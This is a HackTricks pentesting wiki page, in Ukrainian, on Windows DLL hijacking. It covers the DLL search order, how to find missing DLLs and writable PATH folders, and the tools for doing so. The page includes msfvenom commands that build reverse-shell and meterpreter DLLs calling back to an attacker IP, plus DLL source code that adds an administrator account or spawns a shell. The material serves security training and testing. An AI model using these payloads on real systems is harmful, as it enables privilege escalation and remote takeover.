Dll Hijacking

Support HackTricks

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

Basic Information

DLL Hijacking передбачає маніпуляцію довіреною програмою для завантаження шкідливого DLL. Цей термін охоплює кілька тактик, таких як DLL Spoofing, Injection, and Side-Loading. Він в основному використовується для виконання коду, досягнення стійкості та, меншою мірою, ескалації привілеїв. Незважаючи на акцент на ескалації тут, метод захоплення залишається незмінним для всіх цілей.

Common Techniques

Для DLL hijacking використовуються кілька методів, кожен з яких має свою ефективність залежно від стратегії завантаження DLL програми:

  1. DLL Replacement: Заміна справжнього DLL на шкідливий, за бажанням використовуючи DLL Proxying для збереження функціональності оригінального DLL.

  2. DLL Search Order Hijacking: Розміщення шкідливого DLL у пошуковому шляху перед легітимним, експлуатуючи шаблон пошуку програми.

  3. Phantom DLL Hijacking: Створення шкідливого DLL для програми, щоб завантажити, вважаючи, що це неіснуючий необхідний DLL.

  4. DLL Redirection: Модифікація параметрів пошуку, таких як %PATH% або .exe.manifest / .exe.local файли, щоб направити програму до шкідливого DLL.

  5. WinSxS DLL Replacement: Замінювання легітимного DLL на шкідливий у каталозі WinSxS, метод, який часто асоціюється з DLL side-loading.

  6. Relative Path DLL Hijacking: Розміщення шкідливого DLL у каталозі, контрольованому користувачем, з копією програми, що нагадує техніки Binary Proxy Execution.

Finding missing Dlls

Найпоширеніший спосіб знайти відсутні DLL у системі - це запуск procmon з sysinternals, встановивши наступні 2 фільтри:

і просто показати File System Activity:

Якщо ви шукаєте відсутні dll загалом, ви залишаєте це запущеним на кілька секунд. Якщо ви шукаєте відсутній dll у конкретному виконуваному файлі, вам слід встановити інший фільтр, наприклад "Process Name" "contains" "<exec name>", виконати його та зупинити захоплення подій.

Exploiting Missing Dlls

Щоб ескалувати привілеї, найкраща можливість, яку ми маємо, - це можливість написати dll, який привілейований процес спробує завантажити в деякому місці, де його будуть шукати. Отже, ми зможемо написати dll у папці, де dll шукається перед папкою, де оригінальний dll (незвичайний випадок), або ми зможемо написати в деяку папку, де dll буде шукатися, а оригінальний dll не існує в жодній папці.

Dll Search Order

У документації Microsoft ви можете знайти, як завантажуються DLL конкретно.

Windows додатки шукають DLL, дотримуючись набору попередньо визначених пошукових шляхів, дотримуючись певної послідовності. Проблема DLL hijacking виникає, коли шкідливий DLL стратегічно розміщується в одному з цих каталогів, забезпечуючи його завантаження перед справжнім DLL. Рішенням для запобігання цьому є забезпечення того, щоб програма використовувала абсолютні шляхи при посиланні на DLL, які їй потрібні.

Ви можете побачити порядок пошуку DLL на 32-бітних системах нижче:

  1. Каталог, з якого завантажено програму.

  2. Системний каталог. Використовуйте функцію GetSystemDirectory, щоб отримати шлях до цього каталогу.(C:\Windows\System32)

  3. 16-бітний системний каталог. Немає функції, яка отримує шлях до цього каталогу, але він шукається. (C:\Windows\System)

  4. Каталог Windows. Використовуйте функцію GetWindowsDirectory, щоб отримати шлях до цього каталогу.

  5. (C:\Windows)

  6. Поточний каталог.

  7. Каталоги, які вказані в змінній середовища PATH. Зверніть увагу, що це не включає шлях для кожного додатка, вказаний ключем реєстру App Paths. Ключ App Paths не використовується при обчисленні шляху пошуку DLL.

Це за замовчуванням порядок пошуку з SafeDllSearchMode увімкненим. Коли він вимкнений, поточний каталог підвищується до другого місця. Щоб вимкнути цю функцію, створіть значення реєстру HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode і встановіть його на 0 (за замовчуванням увімкнено).

Якщо функція LoadLibraryEx викликається з LOAD_WITH_ALTERED_SEARCH_PATH, пошук починається в каталозі виконуваного модуля, який LoadLibraryEx завантажує.

Нарешті, зверніть увагу, що dll може бути завантажено, вказуючи абсолютний шлях, а не просто ім'я. У цьому випадку цей dll шукатиметься лише в цьому шляху (якщо у dll є якісь залежності, вони будуть шукатися так, як завантажено за ім'ям).

Є й інші способи змінити порядок пошуку, але я не буду пояснювати їх тут.

Exceptions on dll search order from Windows docs

В документації Windows зазначено певні винятки з стандартного порядку пошуку DLL:

  • Коли зустрічається DLL, яка має таку ж назву, як одна, що вже завантажена в пам'яті, система обходить звичайний пошук. Натомість вона виконує перевірку на перенаправлення та маніфест, перш ніж за замовчуванням використовувати DLL, вже в пам'яті. У цьому сценарії система не проводить пошук для DLL.

  • У випадках, коли DLL визнано відомим DLL для поточної версії Windows, система використовуватиме свою версію відомого DLL разом з будь-якими його залежними DLL, пропускаючи процес пошуку. Ключ реєстру HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs містить список цих відомих DLL.

  • Якщо DLL має залежності, пошук цих залежних DLL проводиться так, ніби вони вказані лише своїми іменами модулів, незалежно від того, чи була початкова DLL ідентифікована через повний шлях.

Escalating Privileges

Requirements:

  • Визначте процес, який працює або буде працювати під іншими привілеями (горизонтальний або бічний рух), який не має DLL.

  • Переконайтеся, що доступ на запис доступний для будь-якої каталогу, в якому DLL буде шукатися. Це місце може бути каталогом виконуваного файлу або каталогом у системному шляху.

Так, вимоги складно знайти, оскільки за замовчуванням це досить дивно - знайти привілейований виконуваний файл без dll і ще більш дивно мати права на запис у папці системного шляху (за замовчуванням ви не можете). Але в неправильно налаштованих середовищах це можливо. У випадку, якщо вам пощастить і ви знайдете себе, що відповідає вимогам, ви можете перевірити проект UACME. Навіть якщо основна мета проекту - обійти UAC, ви можете знайти там PoC для Dll hijaking для версії Windows, яку ви можете використовувати (можливо, просто змінивши шлях до папки, де у вас є права на запис).

Зверніть увагу, що ви можете перевірити свої права в папці, виконавши:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

І перевірте дозволи всіх папок всередині PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Ви також можете перевірити імпорти виконуваного файлу та експорти dll за допомогою:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Для повного посібника про те, як зловживати Dll Hijacking для ескалації привілеїв з правами на запис у папку системного шляху, перегляньте:

Writable Sys Path +Dll Hijacking Privesc

Автоматизовані інструменти

Winpeas перевірить, чи маєте ви права на запис у будь-яку папку всередині системного шляху. Інші цікаві автоматизовані інструменти для виявлення цієї вразливості - це функції PowerSploit: Find-ProcessDLLHijack, Find-PathDLLHijack та Write-HijackDll.

Приклад

Якщо ви знайдете експлуатовану ситуацію, однією з найважливіших речей для успішної експлуатації буде створити dll, яка експортує принаймні всі функції, які виконуваний файл імпортуватиме з неї. У будь-якому випадку, зверніть увагу, що Dll Hijacking є корисним для ескалації з середнього рівня цілісності до високого (обхід UAC) або з високого рівня цілісності до SYSTEM. Ви можете знайти приклад як створити дійсну dll в цьому дослідженні dll hijacking, зосередженому на dll hijacking для виконання: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows. Більше того, у наступному розділі ви можете знайти деякі базові коди dll, які можуть бути корисними як шаблони або для створення dll з не обов'язковими експортованими функціями.

Створення та компіляція Dlls

Dll Проксіювання

В основному, Dll проксі - це Dll, здатна виконувати ваш шкідливий код при завантаженні, але також виконувати та працювати як очікувалося, пересилаючи всі виклики до реальної бібліотеки.

За допомогою інструмента DLLirant або Spartacus ви можете фактично вказати виконуваний файл і вибрати бібліотеку, яку хочете проксувати, і згенерувати проксовану dll або вказати Dll і згенерувати проксовану dll.

Meterpreter

Отримати rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Отримати meterpreter (x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Створіть користувача (x86, я не бачив версії x64):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Ваш власний

Зверніть увагу, що в кількох випадках Dll, яку ви компілюєте, повинна експортувати кілька функцій, які будуть завантажені жертвою, якщо ці функції не існують, бінарний файл не зможе їх завантажити і експлуатація зазнає невдачі.

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

Посилання

Порада для баг-баунті: зареєструйтесь на Intigriti, преміум платформі для баг-баунті, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні та почніть заробляти винагороди до $100,000!

Підтримати HackTricks

Last updated